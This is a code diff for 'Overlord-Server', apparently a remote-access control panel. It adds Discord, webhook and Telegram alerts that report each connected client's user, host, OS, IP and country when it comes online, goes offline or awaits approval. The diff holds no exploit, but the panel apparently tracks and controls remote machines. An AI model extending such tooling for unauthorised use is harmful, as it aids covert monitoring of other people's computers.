diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index b4a109c..4a6c20d 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -571,6 +571,10 @@ + + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index e3bc828..382f4f3 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -12,7 +12,7 @@ import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "./auth"; import { loadConfig, getConfig } from "./config"; import { flushAuditLogsSync } from "./auditLog"; -import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users"; +import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users"; import { requireAuth, requirePermission } from "./rbac"; import { metrics } from "./metrics"; import { ensureDataDir } from "./paths"; @@ -282,6 +282,25 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ getUserRole: (userId: number) => getUserById(userId)?.role, storeNotificationScreenshot: storeNotificationScreenshotForPending, deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, + getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => { + const mapRow = (u: any): UserDeliveryTarget => ({ + userId: u.id, + username: u.username, + webhookEnabled: u.webhook_enabled === 1, + webhookUrl: u.webhook_url || "", + webhookTemplate: u.webhook_template, + telegramEnabled: u.telegram_enabled === 1, + telegramBotToken: u.telegram_bot_token || "", + telegramChatId: u.telegram_chat_id || "", + telegramTemplate: u.telegram_template, + }); + if (event === "client_purgatory") { + return getUsersForNotificationDelivery() + .filter((u) => u.role === "admin" || u.role === "operator") + .map(mapRow); + } + return getUsersForNotificationDeliveryByClient(clientId).map(mapRow); + }, savePluginState, }); diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index def208c..7db53cf 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -385,3 +385,120 @@ export async function deliverNotificationWithScreenshot( ]); } +export type ClientEventInfo = { + id: string; + host?: string; + user?: string; + os?: string; + ip?: string; + country?: string; +}; + +const CLIENT_EVENT_LABELS: Record = { + client_online: "\u{1F7E2} Client Online", + client_offline: "\u{1F534} Client Offline", + client_purgatory: "\u{1F7E1} Client Awaiting Approval", +}; + +const CLIENT_EVENT_COLORS: Record = { + client_online: 0x22c55e, + client_offline: 0xef4444, + client_purgatory: 0xeab308, +}; + +export async function deliverClientEventToExternalChannels( + event: string, + info: ClientEventInfo, + targets: UserDeliveryTarget[], +): Promise { + if (targets.length === 0) return; + + const label = CLIENT_EVENT_LABELS[event] || "Client Event"; + const ts = Date.now(); + + await Promise.allSettled( + targets.map(async (target) => { + if (target.webhookEnabled && target.webhookUrl) { + const url = target.webhookUrl.trim(); + if (!url) return; + let parsed: URL; + try { + parsed = new URL(url); + if (!/^https?:$/.test(parsed.protocol)) return; + } catch { + return; + } + try { + const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname); + if (isDiscord) { + const fields = [ + { name: "Client", value: info.id || "unknown", inline: true }, + { name: "User", value: info.user || "unknown", inline: true }, + { name: "Host", value: info.host || "unknown", inline: true }, + { name: "OS", value: info.os || "unknown", inline: true }, + ]; + if (info.ip) fields.push({ name: "IP", value: info.ip, inline: true }); + if (info.country) fields.push({ name: "Country", value: info.country, inline: true }); + + const embed: Record = { + title: label, + color: CLIENT_EVENT_COLORS[event] ?? 0x94a3b8, + fields, + timestamp: new Date(ts).toISOString(), + }; + const payload = { content: label, embeds: [embed] }; + await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(payload), + }); + } else { + await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + type: "client_event", + event, + clientId: info.id, + user: info.user, + host: info.host, + os: info.os, + ip: info.ip, + country: info.country, + ts, + }), + }); + } + } catch (err) { + logger.warn(`[notify] client event webhook delivery to user ${target.username} failed`, err); + } + } + + if (target.telegramEnabled && target.telegramBotToken && target.telegramChatId) { + const token = target.telegramBotToken.trim(); + const chatId = target.telegramChatId.trim(); + if (!token || !chatId) return; + + const lines = [label]; + if (info.id) lines.push(`Client: ${info.id}`); + if (info.user) lines.push(`User: ${info.user}`); + if (info.host) lines.push(`Host: ${info.host}`); + if (info.os) lines.push(`OS: ${info.os}`); + if (info.ip) lines.push(`IP: ${info.ip}`); + if (info.country) lines.push(`Country: ${info.country}`); + + try { + const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; + await fetch(apiUrl, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }), + }); + } catch (err) { + logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err); + } + } + }), + ); +} + diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index d98790a..44c13e7 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -7,7 +7,7 @@ import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; -import { deliverWebPushClientEvent } from "./notification-delivery"; +import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery"; type NotificationRecord = { id: string; @@ -65,6 +65,10 @@ type CreateDeps = { height?: number, ) => void; deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise; + getDeliveryTargetsForClientEvent: ( + event: string, + clientId: string, + ) => UserDeliveryTarget[]; savePluginState: () => Promise; }; @@ -354,6 +358,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { } void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole); + + const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id); + void deliverClientEventToExternalChannels(event, info, externalTargets); }, markPluginLoaded,